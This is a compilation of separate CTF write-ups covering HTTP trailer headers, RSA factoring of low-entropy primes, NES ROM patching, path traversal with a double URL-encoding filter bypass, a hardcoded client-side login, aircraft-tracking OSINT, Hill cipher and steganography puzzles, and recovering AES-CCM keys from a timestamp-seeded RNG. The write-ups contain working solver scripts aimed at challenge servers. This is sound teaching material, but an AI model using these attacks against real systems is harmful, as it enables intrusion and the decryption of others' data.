> Learn a new thing from every challenge!
-----
## Analysis
The foothold for this can be found from reviewing the respose using burp,dev tools.The response contained a header called "Trailer: Flag".Google that and researching further lands us with a solution.
> Read this to know about Trailer header> [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Trailer](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Trailer)
> Read this to know about about TE [Transfer-Encoding Header]> [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/TE](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/TE)
-----
## Solve
So, reading the above two links, we come to know that the TE header must be included with the requesst sent in order to accept the Trailer header. We add the following header in our request to include the Trailer header in our response,
`TE: trailers`
Sending the required request through burp or dev tools doesnt lead any output, so I tried using `curl` with the command,
```curl --http1.1 -i -s -k -X $'GET' -H $'Host: okboomer.tasteless.eu:10401' -H $'TE: trailers' -H $'Connection: close' $'https://okboomer.tasteless.eu:10401/'```
This lead us to the output with the flag in the reponse,
### Flag - tstlss{always keep looking}
P.S. Discussing with the author after solving the challenge, I came to know that the Trailing chunks, which is specified by the Trialer header is apparantly stripped of by burp and dev tools, but this didnt happen with curl, thus the reason why curl showed the response in full. |
# YAFM (crypto, 308p, 18 solved)
## Description
In the task we get access to [server code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-08-24-GoogleCTF/yafm/server.py).After connection we can:
1. Generate new RSA keypair and get public key2. Get flag encrypted with last generated key
We can do that multiple times, although it's not really needed, unless you're very unlucky.
## Code analysis
The encryption itself is strong - it's even using OAEP and not textbook RSA.The only strange part is prime generation, similarly as in `Chunk Norris`:
```pythondef generate_prime(prime_len): bits_len = 180 while True: bits = random.getrandbits(bits_len) idxs = random.sample(list(range(1, prime_len-2)), bits_len) p = 1 | 2**(prime_len - 1) | 2**(prime_len - 2) for i in range(bits_len): p += (bits >> i & 1)*2**idxs[i] if isPrime(p): return p```
The logic is pretty simple:
1. Generate random 180 bits.2. Generate random 180 unique values in range 0..prime_bitlen_we_want. Let's call those "target index"3. Take bit value `random_bits[i]` and place it on `target_index[i]` bit of result
For example if our generated random bits are `101` and targets are [2,5,7] then result would be:```0 0 1 0 0 0 0 1 ```because we placed bits `1` on position `2` and `7`.
Random 180 bits will have about 90 bits with value 1 and 90 bits with value 0, which means the result will have about 90 bits set to 1.
In the task we generate 1024 bit primes, and only about 90 bits will be set to 1!
## Solution
### Brute-force from low bits
We need to factor `n` into primes in order to solve the challenge.Normally we would have exponentially many potential values to check, but here we know that we're only interested in 1024 bit numbers with ~90 bits set to 1.We also know `n`, so we know the product.
Important thing to notice is that when multiplying values `p` and `q`, the low bits of the product are only dependent on low bits of `p` and low bits of `q`.Higher bits can't influence them!
This means that low bits of `p*q` are the same as low bits of `p%2**k * q%2**k`.
Using this property, we could try to guess `k` low bits of `p` and `k` low bits of `q` and we can easily check if this guess could be true or not -> we just compare the product with `k+1` low bits of `n`.If they match, then we have a valid candidates.
### Pruning candiates
Described approach works fine, but unfortunately it still can double the number of candiates on each level.This will not scale past first few bits.
But we still have one property we didn't use - we know that primes we want have only a handful of `1` in binary representation.We can sort the candidates, to have the ones with least 1s at the front, and we can drop the candidates with too many 1s:
```pythondef order(candidates): return sorted(candidates, key=lambda (p, q): bin(p).count('1') + bin(q).count('1'))```
We can't cut too early because it might happen that there are a few 1s in row, but other than that this approach should work.Empirically `4096 * 8` was enough:
```pythondef recover(n, bits): candidates = {(0, 0)} for bit in range(0, bits): print(bit) remainder = n % (2 ** (bit + 1)) new_candidates = set() for potential_p, potential_q in candidates: # extend by 0 bit and by 1 bit on the left, so candidate 101 -> 0101 and 1101 extended_p = potential_p, (1 << bit) + potential_p extended_q = potential_q, (1 << bit) + potential_q for p in extended_p: for q in extended_q: if (q, p) not in new_candidates: # p,q and q,p is the same for us if (p * q) % (2 ** (bit + 1)) == remainder: new_candidates.add((p, q)) candidates = order(list(new_candidates))[:4096 * 8] return candidates```
We can try this function on some simple sanity check:
```pythondef sanity(): bits = 1024 real_p = generate_prime(bits) real_q = generate_prime(bits) n = real_p * real_q print(bin(real_p)) print(bin(real_q)) candidates = recover(n, 100) # get bottom 100 bits bp = bin(real_p).replace("0b", "") for i, (p, q) in enumerate(candidates): if bp.endswith(bin(p).replace('0b', '')): print(i, 'OK p')```
And it works just fine.Even more, we can see that we got matching candidates at very low index numbers, which means our assumption of ordering candidates by the number of 1s was a valid strategy!
## Solution
Now we can just grab modulus from server and do:
```pythoncandidates = recover(n, 1024)for (p, q) in candidates: if n % p == 0: print('p', p) if n % q == 0: print('q', q)```
And then:
```python n = 18563827358136577465267394103137418511778836453237333252731089831985207993297377674711718126894282113110854542340506719124654577851501759992704484175930480370120399113587595921344145822564132345729782215786113357122128677650922656086908690722288872430249777009493240154973576987583399914901202308153498427130938926050425491294075497786411601951975080316448370370895093391031104920440122645440028847210538430981470643705518908648030244270003139925917177837911073147099211655799274365379543768564254067636571762109818165745315514000608571237824275911379421152555014254649239533933080848573120832533670490343832604147777L p = 134876365611179104890394041593217124534345124636535664306051910544674868766699030191642534080825704005800460003736048116292763217840538933794148323538135487601807559211215036931617439853337892259935734583398318586849717093267546491873502727956980320348991862002488168847934555860613714877474782224976801955841L q = 137635880637919053765890787229727728446512826746647121730690147695530725448539354803536002981961237876523522805087825719543597369579447287490208333401471646555458150340808952867992172140608307272704997799557876650898212752342239223742621220080359016764650648071916857003946984959679279595816405192413618143297L phi = (p - 1) * (q - 1) e = 65537L d = modinv(e, phi) ct = '83f237381b509803ea0546753032bd4d1f98dffe1326669ca2627735dd19fdb9fdbfea68ac7f67998b83f6eb7ff93d3c3807f014cbfb75e5f5160797f4a6ba1adc51ec8347e9d14b3ab726de21f01b696ae6434e77cca87cc070fd4d507f706e1fa1d70ad573d418b20adb94bb7d8a11e75e7974b95ecffbc452509c2867c56fc772bdbda706c768a243477e3389678c5a42d789f6dca68a65b36287e546940bef3bfd94dd3ad11cd831b1ef3036db369238bfefb00966a495687d45d4e76d56ad31cb4684bdcd42a67fe5ff111fc92adec8acd3b1c90ae2be262348279deeabfdaaf2fe9deeb615df4942662a50af459c14e0d5b5d3d4151cceaceda321a74c'.decode( "hex") key = RSA.construct((n, e, d)) cipher = PKCS1_OAEP.new(key) print(cipher.decrypt(ct))```
And we get: `CTF{l0w_entr0py_1s_alw4ys_4_n1ghtmar3_I_h4v3_sp0ken}` |
[Original Writeup](https://aptx1337.github.io/posts/ctf/b01lers/crypto_01_dream_Stealing.html) (https://aptx1337.github.io/posts/ctf/b01lers/crypto_01_dream_Stealing.html) |
[Orginal Writeup](https://aptx1337.github.io/posts/ctf/b01lers/crypto_05_Totem.html) (https://aptx1337.github.io/posts/ctf/b01lers/crypto_05_Totem.html) |
# Reversing-II 100 (NES reverse engineering)
We are provided with a NES ROM (`impossible_game.nes`). The goal is simple - find a cheat code for walking through walls. The hints explain that we should flip only one bit in a data section of the ROM.
We would ideally avoid reversing the entire game, as that would take forever - especially for a 100 point challenge. I decided to instrument an emulator to find the instructions responsible for handling the collision.
After failing to figure out how to open a ROM in higan, I cloned the source for FCEUX. As the emulator is available in `nixpkgs`, building it was a piece of cake:
```shell[~/ctf/2020/trendmicro/nes-re/fceux]$ nix-shell '<nixpkgs>' -A fceux[nix-shell:~/ctf/2020/trendmicro/nes-re/fceux]$ $buildPhase```
(unfortunately this includes a non-idempotent patch to `SConstruct`, repeated builds had to be done with `git checkout SConstruct;$buildPhase`)
Some strategic source spelunking quickly lead me to the code responsible for dispatching an instruction:
```cpp // x6502.cpp, in X6502_Run, around line 490 IncrementInstructionsCounters();
_PI=_P; b1=RdMem(_PC);
ADDCYC(CycTable[b1]);```
I added some quick-n-dirty logging to print a line each time an instruction at a specific address is reached for the first time:
```diff // x6502.cpp, in X6502_Run, around line 490 IncrementInstructionsCounters();
_PI=_P;
+ static bool seenPC[0x10000] = {0};+ if (!seenPC[_PC]) {+ printf("New PC: 0x%04x\n", _PC);+ seenPC[_PC]=1;+ }
b1=RdMem(_PC);
ADDCYC(CycTable[b1]);```
I recompiled the emulator and fired up the game, fully prepared to get spammed by a large amount of output. I made sure to move my character both ways, but avoid colliding with the wall. Then, I applied the age-old technique of marking a point in the output of a CLI program by pressing Enter a few times and finally walked into the wall. This yielded the following, quite short output:
```New PC: 0x94afNew PC: 0x94b1New PC: 0x92d7New PC: 0x92d9New PC: 0x9309New PC: 0x930bNew PC: 0x930eNew PC: 0x9311New PC: 0x9314New PC: 0x9315New PC: 0x9317```
I've set out to obtain the disassembly of these addresses. Unfortunately, the Linux version of FCEUX includes only the most basic UI, but the Windows build runs just fine in `wine`, and contains an intuitive debugger. Trying not to get distracted by the code textbox using a non-monospace font (probably a Wine quirk :P), I used "seek PC" to find this code:
``` 00:94A9:A5 31 LDA $0031 = #$C0 00:94AB:29 40 AND #$40 00:94AD:F0 04 BEQ $94B3 ------- jumps-. 00:94AF:E6 33 INC $0033 = #$00 \ <- only runs on collision 00:94B1:E6 34 INC $0034 = #$00 | <- 00:94B3:AD E9 04 LDA $04E9 = #$C4 <- here '```
As we can see, the collision flags at this moment are stored in address `$31` of the zeropage, and bit `$40` corresponds to the collision we want to avoid. I've added a write watchpoint at `$0031` to find that it's only written in these two places:
``` 00:9739:A4 36 LDY $0036 = #$C4 00:973B:B9 F8 03 LDA $03F8,Y @ $04BC = #$00 00:973E:85 31 STA $0031 = #$C0 <-- useless write 00:9740:A4 31 LDY $0031 = #$C0 read it again immediately (ever heard about TAY?) 00:9742:B9 14 99 LDA $9914,Y @ $99D8 = #$00 index into a table 00:9745:85 31 STA $0031 = #$C0 <-- remember the flags```
Looks like we need to overwrite the byte at `$9914+Y`. But what's Y when the collision occurs? When it finally happens, the register will surely have already been overwritten a hundred times over, and if we place a breakpoint around `00:9745`, there's no way to know whether it's actually the interesting collision being evaluated (maybe it's just the floor?).
As FCEUX doesn't have any reverse-debugging features I know of, I decided to add another ad-hoc patch. First, whenever `$0031` is written, I remember the value of Y:
```diff+uint8_t p4writeCollY = 0;
static INLINE void WrRAM(unsigned int A, uint8 V) {+ if (A == 0x0031) {+ p4writeCollY = _Y;+ } RAM[A]=V; }```
Then, I print it when a new instruction is executed:
```cppprintf("New PC: 0x%04x, [0x0031] = %02x, Y = %02x\n", _PC, RAM[0x31], p4writeCollY);```
Repeating the same experiment, we obtain
```New PC: 0x94af, [0x0031] = c0, Y = 02New PC: 0x94b1, [0x0031] = c0, Y = 02New PC: 0x92d7, [0x0031] = 00, Y = 00New PC: 0x92d9, [0x0031] = 00, Y = 00New PC: 0x9309, [0x0031] = 00, Y = 00New PC: 0x930b, [0x0031] = 00, Y = 00New PC: 0x930e, [0x0031] = 00, Y = 00New PC: 0x9311, [0x0031] = 00, Y = 00New PC: 0x9314, [0x0031] = 00, Y = 00New PC: 0x9315, [0x0031] = 00, Y = 00New PC: 0x9317, [0x0031] = 00, Y = 00```
Looks like we need to patch `$9916`, then. Careful to take into account the iNES header and ROM load address, we try our modification out:
```python>>> d = open('impossible_game.nes', 'rb').read()>>> d = bytearray(d)>>> d[0x1926] = 0x80>>> open('possible_game.nes', 'wb').write(d)```
This lets us walk right through the wall. As a finishing stretch, we use the `Game Genie Decoder/Encoder` tool included in `fceux.exe` to turn our findings into a cheat code, which is also the flag:
```TMCTF{EAOPVPEG}``` |
The challenge starts with a URL:http://web.chal.csaw.io:7311/?path=orange.txt
Based on the URL, you can tell that the server is using the variable path to get files.
You can abuse this to look around the filesystem, but there is a filtering system in place to stop you.
Use (double) URL encoding to get around that.
More detailed, original writeup:https://github.com/ibnzterrell/ctf-write-ups/blob/master/CSAW_Quals_2017/Orangev1.md |
# Find that data
```Complete what Clu could not... Find the data in memory. https://www.youtube.com/watch?v=PQwKV7lCzEIhttp://chal.ctf.b01lers.com:3001```
Open the site, we are prompted to login. Viewing the source code and we got```jsfunction login(username, password) { if (username == "CLU" && password == "0222") { window.location = "/maze"; } else window.location = "/";}```With `CLU` and `0222` we logged into the site and greeted with a auto-generated maze.Obviously we won't be playing the maze (I did after finishing tho, we won't be able to finish it as the final node is always blocked, pfft scammers)
Viewing the source code to look for additional hints, we found `maze.js`, opened and examine the file, we found a function send POST request to `/token` and `/mem`. The function that send to `/mem` already reads `#token` element so we don't need to care about that, calling the POST function in browser console gave us an alert with the flag.```js$.post("/mem", { token: $("#token").html() }).done(function(data) { alert("Memory: " + data);});``` |
##### Fun fact: we were the 10th team to solve this one!##### ##### We started with Googling the “boxing croc”, since we all had no idea what it was##### > Google info card on the “boxing croc”, or rather, the “Big Boxing Crocodile”. There is a photo of a crocodile statue wearing boxing gloves, as well as a screenshot of Google Maps showing the boxing croc’s location. It is a tourist attraction in Humpty Doo, Australia, and its address is 326 Arnhem Hwy, Humpty Doo NT 0836, Australia.##### ##### Looking at a map, we noticed that Darwin International Airport was nearby, so it was likely that any aircraft going over the Boxing Croc was probably heading into or out of Darwin.##### ##### ##### Next, we looked at a list of American refueling planes, hoping to find a model so we could find flight data for them. This was inconclusive, especially since flight trackers only showed flights from the past 7 days.##### ##### We also found this totally not sketchy site (http://www.planeflighttracker.com/2014/04/united-states-military-aircraft-in.html) for finding the model codes for military aircraft.

##### ##### However, a whole bunch of googling later, we still found nothing.##### ##### We happened upon an article about an [Australian/American Joint Air Force exercise](https://www.pacom.mil/Media/News/News-Article-View/Article/2336270/increasing-interoperability-b-2s-b-1s-join-us-marine-corps-australian-defence-f/) that happened near the given date, and it mentioned a particular refueling plane, the Boeing KC-135R Stratotanker. with model number K35R.##### ##### Still, flight trackers had no historical data going that far back, so we had to get a 7-day free trial for [RadarBox](https://www.radarbox.com/). Searching for all flights with the model K35R, we looked for flights around September 1st.##### ##### ##### We eventually found a flight whose path looked like it went over where Boxing Croc would be:

##### ##### Googling the plane registration number: 58-0086 then led to https://planefinder.net/data/aircraft/58-0086, revealing the final flag.##### **Flag**: DUCTF{16-07-59} **Tools**: Google Maps, Plane Flight Tracker, RadarBox, Plane Finder |
# Embrace the Climb > Points: 497
## Description> Gaining altitude ... > lkeitrx66dcw{3zy1}tvzlrb4ilp9}1m0ifqjvuu3 1m0h9b5dc ucu3eicw{n}nauu3 95o00jd 0q55x66nwm > \> 6 24 1 > \> 13 16 10 > \> 20 17 15
## SolutionWe can get a hint from the Description and the name of the Challenge that it is **Hill Cipher**.
**The basic idea behind the Encryption Scheme is :*** Select alphabet containting ***N*** letters.
| Letter |a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|0|1|2|3|4|5|6|7|8|9|{|}| |_||--------|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|| Number |0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|
* Use an ***n* x *n* invertible matrix (modulo *N*)** (where ***N*** is the total number of letters in the alphabet) as the key.* Multiply each block of ***n*** plaintext letter numbers mapped to the respective letters with it.
**The Decryption Scheme is :*** Select the same alphabet containting ***N*** letters. (In this challenge we have to guess the alphabet map from the ciphertext)* Find the **inverse** of the given key matrix.* Use the inverted ***n* x *n* matrix (modulo *N*)** as the key.* Multiply each block of ***n*** ciphertext letter numbers mapped to the respective letters with it.
```py#!/usr/bin/env python3import numpy as npfrom sympy import *import itertools
def make_char_set(): init = "abcdefghijklmnopqrstuvwxyz0123456789" end = "{}_ " char_set = [] comb = list(itertools.permutations(end, 4)) # rearranges end characters i.e. "{}_ " for i in range(len(comb)): end = ''.join(c for c in comb[i]) char_set.append(init + end) return char_set
def decrypt(ciphertext, key, char_set): key = Matrix(key) # Calculate inverse of the Key matrix(mod N) where N = no. of chars in alphabet inv_key = key.inv_mod(40)
pt = '' # Loop through n chars at a time when Key matrix is n x n for i in range(0, len(ciphertext), 3): chars = ciphertext[i : i+3] chars_index = [char_set.index(ch) for ch in chars] res = np.dot(inv_key, chars_index) % 40 # matrix mult and (mod N) pt += ''.join(char_set[int(i)] for i in res) return pt
ciphertext = "lkeitrx66dcw{3zy1}tvzlrb4ilp9}1m0ifqjvuu3 1m0h9b5dc ucu3eicw{n}nauu3 95o00jd 0q55x66nwm"key = [ [6, 24, 1], # key matrix [13, 16, 10], [20, 17, 15] ]
char_set = make_char_set() # make a list of possible character set (alphabet)
for x in char_set: print("[*] Decrypted with char_set : " + x) print(">>>", decrypt(ciphertext, key, x), "\n") ```### Script - [hill_dec.py](hill_dec.py)
### Output```bash┌──(root ? r3yc0n1c)-[/darkCTF-finals/crypto/Embrace the Climb]└─# ./hill_dec.py[*] Decrypted with char_set : abcdefghijklmnopqrstuvwxyz0123456789{}_ >>> {h1ll_cl1mb1n9_15_h4rd_bu7_n07_7h3_c1ph3r__7h3_b357_v13w_c0m35_4f73r_7h3_h4rd357_cl1mb}
[*] Decrypted with char_set : abcdefghijklmnopqrstuvwxyz0123456789{} _>>> {h1ll cl1mb1n9 15 h4rd bu7 n07 7h3 c1phfyo 7h3 b357iqg3w c0m35 4f7fyo7h3 h4anl57 cl1mb}
[*] Decrypted with char_set : abcdefghijklmnopqrstuvwxyz0123456789{_} >>> {h1ll}cl1mb1n9}lywh4rd}bu7}_tr}7h3}c1ph3r}}7h3}b357}v13w}c0mnyw4f73r}7h3}h4rd357}cl1mb_
[*] Decrypted with char_set : abcdefghijklmnopqrstuvwxyz0123456789{_ }>>> {h1ll cl1mb1n9 9rgh4rd bu7 vmb 7h3 c1phfyo 7h3 b357iqg3w c0m_rg4f7fyo7h3 h4anl57 cl1mb_
[*] Decrypted with char_set : abcdefghijklmnopqrstuvwxyz0123456789{ }_>>> {h1ll}cl1mb1n9}lywh4rd}bu7} tr}7h3}c1phv54}7h3}b357slz3w}c0mnyw4f7v547h3}h4xx757}cl1mb
...
```## Flag > darkCTF{h1ll_cl1mb1n9_15_h4rd_bu7_n07_7h3_c1ph3r__7h3_b357_v13w_c0m35_4f73r_7h3_h4rd357_cl1mb}
### Read about it here :* [Hill cipher - Wikipedia](https://en.wikipedia.org/wiki/Hill_cipher)* [Hill Cipher - Crypto Corner](https://crypto.interactive-maths.com/hill-cipher.html) |
# Zima Blue
The mysterious artist Zima has unveiled his latest piece, and once again, it features his signature shade of blue. I honestly don't get it. Is he hiding a message in his art somehow?
## Solution
To solve this challange, I use Gimp and played around with the with tools in the Colors tab. Im not exactly sure which tools did i use but it's not that complicated. The flag is shown in the middle down part of the cyan box.

__flag : flag{t3ll_by_th3_p1x3ls}__ |
# Do U Have Knowledge (crypto, 470p, 8 solved)
## Description
In the task we get the [server source code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-09-25-BalCCon/do_u_have_knowledge/server.py)We can also connect to remote server, where this code is running.
## Code analysis
Application has 2 stages.First one is a game of number guessing, second one is decrypting the flag.
### Stage 1
In this stage we have to play a game of number guessing with the server:
```pythondef play_lottery() -> bool: random.seed(int(time.time())) for _ in range(3): number = random.randint(1,65535) guess = input('Guess the next lottery number: ') guess = int(guess) if(number == guess): print('Congratulations, you won the lottery.') return True else: print('Wrong. The correct number was {}.'.format(number)) return False```
Server seeds the random with current server time and allows us to have 3 attempts at guessing the right number.
### Stage 2
If we manage to pass the lottery stage, the server will give us encrypted flag.Encryption is using AESCCM with randomly generated `key`, `nonce` and some additional `associated data`:
```pythonwith open('flag.txt') as f: flag = f.read()# Use a cryptographically secure random number generator to secure the flagrng = AnsiRng(urandom(16)) # Use an unguessable seed value for the RNGkey = rng.get_random(16)r = rng.get_random(32)nonce = r[:12]ad = r[12:]
cipher = AESCCM(key, tag_length=16)encrypted_flag = cipher.encrypt(nonce, flag.encode('utf-8'), associated_data=ad)output = b64encode(nonce + ad + encrypted_flag).decode('utf-8')print("Here is your encrypted flag: {}".format(output))```
The key part is `AnsiRng` code which generates the randoms:
```python def _get_random_block(self): t = self._get_timestamp() cipher = Cipher(algorithms.AES(b'1234567890123456'), modes.ECB(), backend = default_backend()) c1 = cipher.encryptor().update(t) c2 = bytes([c1[i] ^ self._state[i] for i in range(16)]) o = cipher.encryptor().update(c2) c3 = bytes([c1[i] ^ o[i] for i in range(16)]) self._state = cipher.encryptor().update(c3) return o```
It's using current timestamp and also current generator `state` to create new state and also random block.
## Vulnerabilities
### Timestamps
The initial vulnerability in both stages is actually the same -> when the application starts it prints out the current server time!While the second stage is using much higher precision than what we have (million times), but we can brute-force one million values to find the right timestamp if necessary.
### Random generation
Notice that we know 2 output blocks from the RNG, because we know `nonce` and `associated data`.Notice also what happens if we know the current timestamp:
1. By knowing `t` value we can reproduce `c1` directly by encryption2. By knowing `o` variable we can recover `c2` directly by encryption3. From `c1` and `c2` we can get `current state` by simple XOR4. By knowing `o` variable (output of RNG) and `c1` we can reproduce `c3` value5. `c3` value directly produces `state` for the next run of the RNG
This pretty much means we know everything there is to know.We can do steps 1-3 to get current state from some RNG output.Then we can use it to get `c3` from previous RNG run.Then we need to move back in time a bit and test some potential `t` values to get `c1` and finally recover `o` for this previous round.
## Solver
### Stage 1
First stage is trivial, we just connect, read the timestamp, seed the random and win the game:
```pythondef stage1(): host = "pwn.institute" port = 36666 s = nc(host, port) timestamp = receive_until(s, "\n")[:-1] print('timestamp', timestamp, int(time.time() * 1000000)) t = time.mktime(time.strptime(timestamp)) random.seed(int(t) + 2 * 3600) x = receive_until(s, ":") number = random.randint(1, 65535) print('number', number) send(s, str(number)) print(receive_until(s, "="), int(time.time() * 1000000))
stage1()```
### Stage 2
Notice that our stage 2 attack works under the assumption that we know the `t` in some round.Since we know 2 outputs of the RNG, we can use those to pinpoint the exact `t` value by pure brute-force:
```pythondef worker(data): cipher = Cipher(algorithms.AES(b'1234567890123456'), modes.ECB(), backend=default_backend()) c2, ts, t1, target, c1s = data c1 = c1s[t1] state = bytes([c1[i] ^ c2[i] for i in range(16)]) c3 = cipher.decryptor().update(state) for t2 in range(1000): c1 = c1s[t1 - t2 if t1 - t2 >= 0 else 0] o = bytes([c1[i] ^ c3[i] for i in range(16)]) if o == target: print(ts * 1000000 + t1, ts * 1000000 + t1 - t2) return ts * 1000000 + t1 - t2
def recover_previous(ts, value, target): cipher = Cipher(algorithms.AES(b'1234567890123456'), modes.ECB(), backend=default_backend()) c1s = [cipher.encryptor().update(int.to_bytes(int(ts * 1000000 + t1), length=16, byteorder='little')) for t1 in range(1000000)] c2 = cipher.decryptor().update(value) print("Precomputed!") brute(worker, [(c2, ts, t1, target, c1s) for t1 in range(1000000)], processes=6)```
We pre-compute all possible timestamps from the one we know onwards for 1 second, and then we run our attack in parallel.The pre-computation is useful, because we need to "move in time" between RNG generations, and we don't know by how much.This means for each test we need to encrypt two values `ts * 1000000 + X` and `ts * 1000000 + Y`, so it makes sense to compute this once.We assume here that between the RNG generations there was no more than 1ms delay.
Once we get the proper timestamp for the second RNG, we can use it, to recover the output of the RNG in previous round (so the key):
```pythondef recover_flag(ts, value, ct): cipher = Cipher(algorithms.AES(b'1234567890123456'), modes.ECB(), backend=default_backend()) for t1 in range(1000): t = int.to_bytes(ts - t1, length=16, byteorder='little') o = value c1 = cipher.encryptor().update(t) c2 = cipher.decryptor().update(o) state = bytes([c1[i] ^ c2[i] for i in range(16)]) c3 = cipher.decryptor().update(state) for t2 in range(1000): t = int.to_bytes(ts - t1 - t2, length=16, byteorder='little') c1 = cipher.encryptor().update(t) o = bytes([c1[i] ^ c3[i] for i in range(16)]) ciph = AESCCM(o, tag_length=16) try: return ciph.decrypt(ct[:12], ct[32:], ct[12:32]) except: pass
```
The code is pretty much identical, but this time we decrypt the ciphertext and look for flag prefix, and we get: `BCTF{7he_DUHK_a77ack_1s_go1ng_t0_mak3_y0u_gr0use}` |
# 7/12
This challenge was part of the 2020 Tasteless CTF. In the previous challenge (7/11), the player obtained a folder (`part2/`) containing 376 `7zip` files. These files are included in this repository (`challenge/`) for reproduction.
## Prior Knowledge
Going into this, you'd have some basic knowledge due to having solved 7/11. In particular, you'd at least understand the `7z` archive header, which points you to the location of the footer's starting address. See below:

Keep that in mind as we continue, as the knowledge of the footer's start address is required prior to attempting this.
## Initial Observations
Within the 376 `7zip` archives were 1-5 `junk_#.bin` files. Typical players would likely begin by opening individual archives, extracting the contents, and trying to combine them into unified binaries.

After wasting some time on that rabbit hole, we can look inside of the `7z` files themselves. Opening the first file (`part2_0.7z`) in a hex editor, we noted the appearance of `PNG` and `IHDR` headers within the file.

The existence of a striped `PNG` could be confirmed by opening the final file (`part2_375.7z`) and observing the `IEND` tag.

Easy peasy, right? The first file contained 0x11 `PNG` bytes. We'll simply loop through all 376 files, extract the 0x11 bytes just before the footer, and concatenate them into a final `PNG` file. Writing this script took about 3 minutes. And just like that, bingo, [solved.png](https://user-images.githubusercontent.com/72385703/95572640-1b946880-09df-11eb-868c-d180f731ebed.png)!
## Take Two
With this set back, we figured that the amount of characters within each file must vary. We knew that the data ended where the footer began, which was clearly noted within the header properties. However, we needed to determine a way to know the length of the packed body data. Or the end of the packed body data. Or the length of the `PNG` data.
With more research into the `7z` specification, we eventually stumbled upon [7z_parser.py](https://github.com/yo-wotop/2020-writeup-tastelessctf-712/blob/main/solution/7z_parser.py). I have no idea who wrote this thing, as I can only find it on some random github repository with a bunch of other, unrelated tools. By running it against a variety of files, we noticed a pattern emerge:

Note how the `dataOffset`, `packSize[0]`, and `0x20` add up to the exact `0x200` confirmed start of the `PNG` header? This makes sense, as these are the values that indicate where packed data and offsets from compressed metadata are stored. Adding them together, we get the length of the body data. Combining that with 0x20 (the start of the body data), we obtain the ending address of the body data -- the starting address of the steganographic data!
We verified that this was also true for `part2_1.7z`, `part2_2.7z`, and even `part2_375.7z`. Not as easy as we first thought, but no sweat. Took us about 40 minutes overall. Now, we had all the pieces necessary to extract the data and create... `solved2.png`!

## Third Try's The Charm
Nah, the third try wasn't the charm. Nor was the fourth try. Or the fifth. Or even the sixth. You see, there was a long-standing battle against how `7zip` treats "Numbers." Numbers in 7zip follow this cute little chart:
| - First_Byte (binary) - | - Extra_Bytes - | - Value (y: little endian integer) - ||----|----|----||0xxxxxxx| |(0b0xxxxxxx) ||10xxxxxx|BYTE y[1]|(0b00xxxxxx << (8 * 1)) + y||110xxxxx|BYTE y[2]|(0b000xxxxx << (8 * 2)) + y||1110xxxx|BYTE y[3]|(0b0000xxxx << (8 * 3)) + y||11110xxx|BYTE y[4]|(0b00000xxx << (8 * 4)) + y||111110xx|BYTE y[5]|(0b000000xx << (8 * 5)) + y||1111110x|BYTE y[6]|(0b0000000x << (8 * 6)) + y||11111110|BYTE y[7]|y||11111111|BYTE y[8]|y|
So yeah. That's simple enough. And the `7z_parser.py` file? Well, it was coded in Python2. Our script was Python3. That presented no challenges. It was using bytestreams where we were using dictionaries, too. But at least the `7z_parser.py` was documented very well, with helpful gems like below:
``` ormask = (mask - 0x80) # print("ormask: %s" % hex(ormask)) unpack_str = "B" # lololol
for i in range(1, inp_len):```
The "lololol" had a special place in our hearts, as it mocked our inability to implement `read_number()` cleanly from `solved3.png` through `solved5.png`. So instead, we settled on a simpler solution:
```import subprocessimport re
folder = '/shr/part2/'solved = folder + 'solved8.png'
DO_REGEX = 'dataOffset\\s*:\\s*(0x[^\\s]*)'PS_REGEX = 'packSize\\[\\d\\]\\s*:\\s*(0x[^\\s]*)'errors = []def getData(file_number): global errors # Run the fucking guy's shit lol fil = 'part2_%s.7z' % file_number p = subprocess.run(['python2','../7z_parser.py', fil], cwd=folder, stdout=subprocess.PIPE, timeout=2, env={})
text = p.stdout.decode()
try: data_finds = re.findall(DO_REGEX, text) pack_finds = re.findall(PS_REGEX, text)
data_offset = int(data_finds[0], 16) packed_size = int(pack_finds[0], 16)
return data_offset, packed_size...```
You're reading that correctly. We were running the `7z_parser.py` script **as a subprocess** and then regex parsing through its `stdout`. This worked fantastically, and `solved7.png` (a very fitting name for the final file on a challenge about **7**zip) FINALLY got to shine!

## Please Don't Make Us Go To 12
After doing some digging, we discovered the problem. We're idiots. Also, the `7z_parser.py` script simply doesn't work for LZMA2-encoded files that contain `File` information. Consider the following parse of `part2_5.7z`:

No `data_offset`. No `packSize[0]`. Not even data about the file names, which are clearly visible in plaintext in the footer.
Desperately thinking that we were going to need to end up with `solved12.png` before getting the flag, we innovated a brand-new solution. One unlike anything we ever tried before.
We COMBINED the wonky `read_number()` implementation that we half-janked together for `solved3-5.png` as a failsafe, with, and you'll never believe this, the `subprocess` implementation from `solved7.png`. And voila, `solved8.png`

## Did you parse the properties?
Our victory was shorter lived than my last relationship, unfortunately, as that question immediately slapped us in the face. **"No."** We didn't really parse the properties. We janked it together 8 ways from Sunday. You can find the exact script(s) used in this repository as well, under `solution/`. You shouldn't, though. Nothing good can come from that.
So our solution was a little disheartening. For five distinct reasons:
1. We still didn't really know `7zip` all that well.2. It was ugly. Really ugly. Not worth making a write-up about, except to mock it for being trash.3. I was reminded about the failure of my last relationship as I wrote this write-up. 4. It relied heavily on copy-pasta. Copy-pasta that even its creator didn't love. 5. It brought to light the problem that no decent `7zip` parser existed in this world. And that the `7zip` documentation [is really, really trash](https://fastapi.metacpan.org/source/BJOERN/Compress-Deflate7-1.0/7zip/DOC/7zFormat.txt).
Naturally, we did the only logical next step that anyone in the same position would have done: **we created a new 7z parser from scratch.**
# 7z-tools
And so we set about to create [7z-tools](https://github.com/yo-wotop/7z-tools). These tools are based on similar concepts to the `7z_parser.py` script, except written in Python3 and intended for future use and extensibility. They're built around a core `Zip7` class, which parses many key data properties upon instantiation. There are no "fuck lololol" comments, and it isn't even broken! Note how the `data_offset` and `pack_size` values appear for `sample_5.7z`
